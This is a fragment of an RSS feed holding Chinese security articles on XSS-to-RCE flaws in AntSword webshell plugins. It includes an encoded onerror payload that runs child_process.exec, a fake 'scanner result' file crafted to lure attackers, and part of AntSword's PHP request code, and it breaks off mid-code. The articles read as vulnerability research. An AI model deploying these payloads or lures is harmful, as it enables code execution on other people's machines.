class="rich_pages wxw-img" data-fileid="100000650" data-galleryid="" data-ratio="0.3354632587859425" data-s="300,640" style="" data-type="png" data-w="626" src="https://wechat2rss.xlab.app/img-proxy/?k=d5b22804&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vyR0A1Md7JJPS4YusoDgM3CQ14gkdyicjNYtpT4YUNBHCPdBAomTt1gA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 15px;"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;img src=1 onerror=alert(1)&gt;</span></code></pre></section><p><br/></p><p><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">直接通过HTML的方式解析</span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000651" data-galleryid="" data-ratio="0.5595463137996219" data-s="300,640" style="" data-type="png" data-w="529" src="https://wechat2rss.xlab.app/img-proxy/?k=fb48449c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95v0uYe9tCOpkJa4ktYakBahDHT92mpI6cKeEeibXnMibX2jlhzpFYBRyvw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 15px;"><a href="https://github.com/AntSword-" target="_blank">https://github.com/AntSword-</a></span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">Store/AS_Redis/blob/fac78f9605c4cee4d863b1c68a368916dc854051/libs/core.js</span></p><p style="text-align: left;"><br/></p><p><span style="font-size: 15px;">阅读了这个插件的源代码，发现并没有过滤以及加以限制，而且</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">dhtmlx 解析，这应该是蚁剑开发的标准要求</span></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">&#39;use strict&#39;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">class Core {</span></code><code><span class="code-snippet_outer">  constructor(ShellCore, opt = {}) {</span></code><code><span class="code-snippet_outer">    this.ShellCore = ShellCore;</span></code><code><span class="code-snippet_outer">    this.host = opt[&#39;host&#39;] || &#34;127.0.0.1:6379&#34;;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  setHost(host) { this.host = host; }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  // 将 buffer 转为 base64 string</span></code><code><span class="code-snippet_outer">  encode(buffer) {</span></code><code><span class="code-snippet_outer">    return Buffer.from(buffer).toString(&#39;base64&#39;);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  decode(str) {</span></code><code><span class="code-snippet_outer">    // ...</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  get template() {</span></code><code><span class="code-snippet_outer">    // ...</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">module.exports = Core;</span></code></pre></section><p><br/></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="70" data-source-title="学蚁致用"><section class="js_blockquote_digest"><p>dhtmlx v4 的 Tree 组件 text 属性是支持 html 的，在插件开发过程中，设置节点内容的时候，一定需要注意 XSS 问题</p></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%3Cp%3Edhtmlx%26nbsp%3Bv4%26nbsp%3B%E7%9A%84%26nbsp%3BTree%26nbsp%3B%E7%BB%84%E4%BB%B6%26nbsp%3Btext%26nbsp%3B%E5%B1%9E%E6%80%A7%E6%98%AF%E6%94%AF%E6%8C%81%26nbsp%3Bhtml%26nbsp%3B%E7%9A%84%EF%BC%8C%E5%9C%A8%E6%8F%92%E4%BB%B6%E5%BC%80%E5%8F%91%E8%BF%87%E7%A8%8B%E4%B8%AD%EF%BC%8C%E8%AE%BE%E7%BD%AE%E8%8A%82%E7%82%B9%E5%86%85%E5%AE%B9%E7%9A%84%E6%97%B6%E5%80%99%EF%BC%8C%E4%B8%80%E5%AE%9A%E9%9C%80%E8%A6%81%E6%B3%A8%E6%84%8F%26nbsp%3BXSS%26nbsp%3B%E9%97%AE%E9%A2%98%3C%2Fp%3E%22%2C%22digestLen%22%3A70%2C%22text%22%3A%22%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2275%22%2C%22len%22%3A1%7D%2C%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A2%7D%5D%2C%22from%22%3A%22%E5%AD%A6%E8%9A%81%E8%87%B4%E7%94%A8%22%7D"><span class="blockquote_other">学蚁致用</span></section></blockquote><p><span style="font-size: 15px;">漏洞点：</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000652" data-galleryid="" data-ratio="0.4639405204460966" data-s="300,640" style="" data-type="png" data-w="2690" src="https://wechat2rss.xlab.app/img-proxy/?k=29480a1f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vichuPHmoPGNSq0OTtf0BYeiblwVHktrtRBWkGEu4otk9jXn1PjH5OJVA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p><p><strong style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">构造 <span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Self-RCE</span></strong><br/></p><p><span style="font-size: 15px;"><strong><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></strong></span></p><p><br/></p><p><span style="font-size: 15px;">结合蚁剑的以下特点：</span></p><p><br/></p><p><span style="font-size: 15px;">解析HTML时，不能使用单引号或双引号，否则会出现语法混乱 HTML源码和流量中均有Payload，导致攻击方很容易被反制,在执行命令后需要删除当前HTML节 点，并对流量进行加密。</span></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span class="code-snippet_outer">a=&#34;require(&#39;child_process&#39;).exec(&#39;calc.exe&#39;)&#34;</span></code><code><span class="code-snippet_outer">b=&#34;&#34;</span></code><code><span class="code-snippet_outer">for(i=0;i&lt;a.length;i++)</span></code><code><span class="code-snippet_outer">  b = b + &#34;,&#34; +a.charCodeAt(i)</span></code></pre></section><p style="text-align: left;"><span style="font-size: 15px;">使用 JavaScript Obfuscator 对payload进行混淆,为了方便我这里就不混淆了 在Console执行得到处理后的payload</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000653" data-galleryid="" data-ratio="0.36476868327402134" data-s="300,640" style="" data-type="png" data-w="562" src="https://wechat2rss.xlab.app/img-proxy/?k=90fded35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vRjDDXgeAyjsd0QQbibcONNJ6WJxlVw2uFHohKM1N4vDZOGqca5D2hBA%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;img src=1 onerror=&#34;eval(String.fromCharCode(114,101,113,117,105,114,101,40,39,99,104,105,1 08,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,97,108,99, 46,101,120,101,39,41))&#34;&gt;</span></code></pre></section><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000654" data-galleryid="" data-ratio="0.673121611154144" data-s="300,640" style="" data-type="png" data-w="1291" src="https://wechat2rss.xlab.app/img-proxy/?k=99ef7ddd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vumEiaeL8RwkhGHfTKkRkzQLgQeA7zaf1Y0iaOMxfNTurRc2bZ3IPgaqw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p><p><span style="font-size: 17px;"><strong>0x05 「LiveScan」插件 XSS</strong></span></p><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="16" data-source-title=""><section class="js_blockquote_digest"><section>本文所述该插件的漏洞目前已经修复</section></section></blockquote><p><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">这个是蚁剑判断WEBSHELL存活的一款插件</span></p><p><span style="font-size: 15px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000655" data-galleryid="" data-ratio="0.4669479606188467" data-s="300,640" style="" data-type="png" data-w="711" src="https://wechat2rss.xlab.app/img-proxy/?k=b8185a7b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95v00vr8TDN8xjYoCAOwpZYLNqoQ52Ziayx5usSa4PZ7JXv0vicrso9nibibQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 15px;"><a href="https://github.com/AntSword-Store/LiveScan/blob/master/libs/ui.js" target="_blank">https://github.com/AntSword-Store/LiveScan/blob/master/libs/ui.js</a></span></p><p><br/></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-fileid="100000656" data-galleryid="" data-ratio="0.6762325239146432" data-s="300,640" style="" data-type="png" data-w="2718" src="https://wechat2rss.xlab.app/img-proxy/?k=4a76893c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vdiceJSKkUbEz8EuiaRibNpuVZSSiaR2PMg1JkjzqEAzp1o53UjkM3qC57w%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;"><br/></span></p><p style="text-align: left;"><span style="font-size: 15px;">行160-192 <span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">从开始扫描到渲染UI，每一步都没有调用JS替换函数: antSword.noxss</span></span></p><p><br/></p><p style="text-align: left;"><span style="font-size: 15px;">于是我构思，如何让他扫描后渲染出来，它扫描时shell不需要存活，于是我们shell地址开始下手 Windows对文件的命名有标准，我们没法使用尖括号 只能在链接的时候修改</span></p><p><span style="font-size: 15px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000657" data-galleryid="" data-ratio="0.6264591439688716" data-s="300,640" style="" data-type="png" data-w="1285" src="https://wechat2rss.xlab.app/img-proxy/?k=7ddda602&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vOia9icDicEVCq1NGGXIzFNDPiaLvNj5Whibcn3BabFPLaQdLjHKH7UCicjsA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 15px;"><strong>XSS:</strong></span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;img src=1 onerror=alert(1)&gt;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">例子：</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><a href="http://192.168.0.108/" target="_blank">http://192.168.0.108/</a>&lt;img src=1 onerror=alert(1)&gt;/1.php</span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000658" data-galleryid="" data-ratio="0.6264591439688716" data-s="300,640" style="" data-type="png" data-w="1285" src="https://wechat2rss.xlab.app/img-proxy/?k=1fcacbb9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vC8kxgS5WJgVdia8jsXp0WBCfTQprNnTIVjQJib3ZciaMyrX2pJPibQUOEA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000659" data-galleryid="" data-ratio="0.6264591439688716" data-s="300,640" style="" data-type="png" data-w="1285" src="https://wechat2rss.xlab.app/img-proxy/?k=98461ac5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3VlzU4jsdyBhpa4Is2X95vGVMxBkTaQ67AiaRv3JkKOxpFYYyzr5yDnIFw0ZaGPOYoDMicC1Xf48LQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-size: 15px;"><strong>构思</strong></span></p><p><br/></p><p style="text-align: left;"><span style="font-size: 15px;">其实对于我而言这个是有实战意义的: <strong>钓鱼</strong></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 15px;">就脚本小子以及初出茅庐的攻击方来说，设置钓鱼文件，伪造内容诱导添加shell并存活检测，也可以黑 吃黑，诱导其检测shell存活~</span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 15px;">在网站目录下创建 txt 或者 log 文件，伪造内容:</span></p><p><span style="font-size: 15px;"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">漏洞利用扫描器 结果:</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">指定连接shell管理工具 -- 蚁剑(AntSword)</span></code><code><span class="code-snippet_outer">WebShell: <a href="http://192.168.0.108/" target="_blank">http://192.168.0.108/</a><span class="code-snippet__tag">&lt;<span class="code-snippet__name">img</span> <span class="code-snippet__attr">src</span>=<span class="code-snippet__string">1/</span> <span class="code-snippet__attr">onerror</span>=<span class="code-snippet__string">&#34;eval(String.fromCharCode(114,101,113,117,105,114,101,40,39,99,104,105,1 08,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,40,39,99,97,108,99, 46,101,120,101,39,41))&#34;</span>&gt;</span>/1.php</span></code><code><span class="code-snippet_outer">密码：cmd</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">连接后请务必进行存活检测 -- 插件中心下载 &amp;&amp; <a href="https://github.com/AntSword-Store/LiveScan" target="_blank">https://github.com/AntSword-Store/LiveScan</a></span></code><code><span class="code-snippet_outer"># 如遇插件中心存在打不开的情况，解决方法: <a href="https://mp.weixin.qq.com/s/hF3GgZpIcussc-BjUoJUuQ" target="_blank">https://mp.weixin.qq.com/s/hF3GgZpIcussc-BjUoJUuQ</a></span></code></pre></section><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p><p><span style="font-size: 17px;"><strong>0x06 结尾</strong></span></p><p><br/></p><p><span style="font-size: 15px;">  在实战当中，有利用的可能！但可操作性非常低，诱导性也低，但是危害大！不算鸡肋，有用武之 地但是条件要求极其苛刻！</span></p><p><br/></p><p><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;"><span style="font-size: 16px;">写在最后</span></strong><br/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 15px;">  校长这波对初学者满满的套路，从入门到入土，我觉得我得去下载一个 国家反诈骗中心 APP 了</span><br/></p><p><br/></p><p style="white-space: normal;"><br/></p><hr style="white-space: normal;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><p style="white-space: normal;text-align: center;"><br/></p><p style="white-space: normal;text-align: center;"><img data-copyright="0" data-fileid="100000639" data-ratio="1" data-s="300,640" style="height: 198px;width: 198px;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=a606fcfb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy3kYxrKTnbxKyJeZhmfzqjkiaA1gWNNFdGMgnpWbicm1mzDFq0Sicfzv5HPHqRlyuDDeUHTE8QJpm9FQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="white-space: normal;text-align: center;"><span style="font-size: 12px;color: rgb(136, 136, 136);">不如关注一波再走？</span></p><p><br/></p><p><br/></p>



<p><a href="2247484313">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e07606da&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484313%26idx%3D1%26sn%3D7d2470ac7d48d642fc244d2d34cd39f2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 20 Oct 2021 00:49:00 +0800</pubDate>
    </item>
    <item>
      <title>端内钓鱼，反制蚁剑</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484286&amp;idx=1&amp;sn=f569389bd243f531e0ec96e8771a057d</link>
      <description>推荐阅读这篇文章。有攻有防，砥砺前行。推荐语只能 120 字，我把其它的想法和解决方案附在文末。</description>
      <content:encoded><![CDATA[<p>
<span>松鼠A</span> <span>2021-10-14 17:51</span> <span style="display: inline-block;"></span>
</p>

<p>推荐阅读这篇文章。有攻有防，砥砺前行。推荐语只能 120 字，我把其它的想法和解决方案附在文末。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=0ca88c59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSHI5wib3tvAMRmy262dy50UXEic3A723kFNkqTnrzYKMHEuSAXUxfwZWUlp43XwN1mCMIkjrIdedPg4pgNXuSqMg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="box-sizing: border-box;font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="box-sizing: border-box;">前言</span><span style="box-sizing: border-box;"></span></h2><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这两天看到校长在搞蚁剑的反制，忙碌了两天整了两个插件的self-xss，虽然很是鸡肋不过也不怪他，蚁剑主程序确实不太有xss的可能性了。不过这勾起了群友们的兴趣，<strong style="box-sizing: border-box;">松鼠A</strong>师傅熬夜熬了一晚上，第二天给我说找到一个可能比较“鸡肋”的利用方式，我和他交流一番后觉得还是有很大可能性成功的，于是便有了此文。</p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="box-sizing: border-box;">0x01 整体思路</span></h3><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;">首先我们先需要知道蚁剑的一个特性。虚拟终端功能在某些特殊情况下会将一些标签转换成超链接。经过测试当遇到http/https协议头时会发生转换。比如：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="308614919" data-galleryid="" data-ratio="0.3653366583541147" data-s="300,640" style="height: auto !important;" data-type="png" data-w="802" src="https://wechat2rss.xlab.app/img-proxy/?k=93375735&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAMRmy262dy50UXEic3A723kFlLXvBtHWSP8q4qxnVguV978BfWF30q6ibZL25ZNMpqdCcgPFGhgB1aQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这个链接点开打开的页面是以蚁剑内部的浏览器进行打开的，而我们知道蚁剑在实现上用了nodejs，那么看过之前反制goby的大概也明白了，就是通过打开的页面嵌入js来直接执行命令！好了，rce的方式有了，但是蚁剑又不是goby，怎么会有人在自己的webshell里点到别人的链接呢？？这就到了设想场景的时候了，设想下面一个场景：<br/></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">jb小子日站爆目录</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">爆到一个shell.php</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">jb小子一看就知道这是前人的一句话木马，操起蚁剑就想连</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">为了增加jb小子连接的成功率甚至可以把密码打印在屏幕上</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">好了，jb小子连上了我们的恶意webshell，开启了蚁剑的终端</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">一打开终端看到报错，马上点击链接</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">渲染恶意页面JS————》RCE</section></li></ol><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;">OK，场景完美了，接下来的重点就是如何构造一个虚假的webshell让jb小子看到就想连就想rce。其次，我们是钓鱼。所以webshell不能有实际功能。webshell既要连接成功，又要不能执行功能。于是整体思路呼之欲出：</p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">获取post过来的数据</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">通过正则判断特征，判断是哪一个数据包</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">如果是连通包则发送对应信息使其通过测试</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">如果是其他功能包，则返回对应的信息让功能”正常“打开。直至打开虚拟终端上钩。</section></li><li style="box-sizing: border-box;"><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">远程代码配置上线操作</section></li></ol><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">我们直接先看看实现效果：<br/></section><section style="box-sizing: border-box;margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><br/></section><section><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=789edbe7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSHI5wib3tvAMRmy262dy50UXEic3A723kFlicR4fCQpic56h37StJVOnwzkItsYHuxNws3wSrpdbZIKb9yD1pVRwUg%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=bd53d7d3&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484286%26idx%3D1%26sn%3Df569389bd243f531e0ec96e8771a057d%26subscene%3D0&amp;v=wxv_2089603404053413888"></video></section><section><br/></section><section>实际效果比想象中还要自然！下面开始看看怎么来制作这么一个钓鱼webshell吧。</section><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="box-sizing: border-box;">0x02 开始分析构造</span></h3><p style="box-sizing: border-box;padding-top: 8px;padding-bottom: 8px;line-height: 26px;">首先分析蚁剑的数据包 密码为111的测试webshell连通性请求包：</p><pre style="box-sizing: border-box;font-size: 1em;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">111</span>=@ini_set(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;display_errors&#34;</span>, <span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;0&#34;</span>);<br style="box-sizing: border-box;"/>@set_time_limit(<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>);<br style="box-sizing: border-box;"/>$opdir=@ini_get(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;open_basedir&#34;</span>);<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">if</span>($opdir) {<br style="box-sizing: border-box;"/> $oparr=preg_split(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;/\\\\|\//&#34;</span>,$opdir);<br style="box-sizing: border-box;"/> $ocwd=dirname($_SERVER[<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;SCRIPT_FILENAME&#34;</span>]);<br style="box-sizing: border-box;"/> $tmdir=<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;.cc06e1b50e&#34;</span>;<br style="box-sizing: border-box;"/> @mkdir($tmdir);<br style="box-sizing: border-box;"/> @chdir($tmdir);<br style="box-sizing: border-box;"/> @ini_set(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;open_basedir&#34;</span>,<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#34;..&#34;</span>);<br style="box-sizing: border-box;"/> <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">for</span> 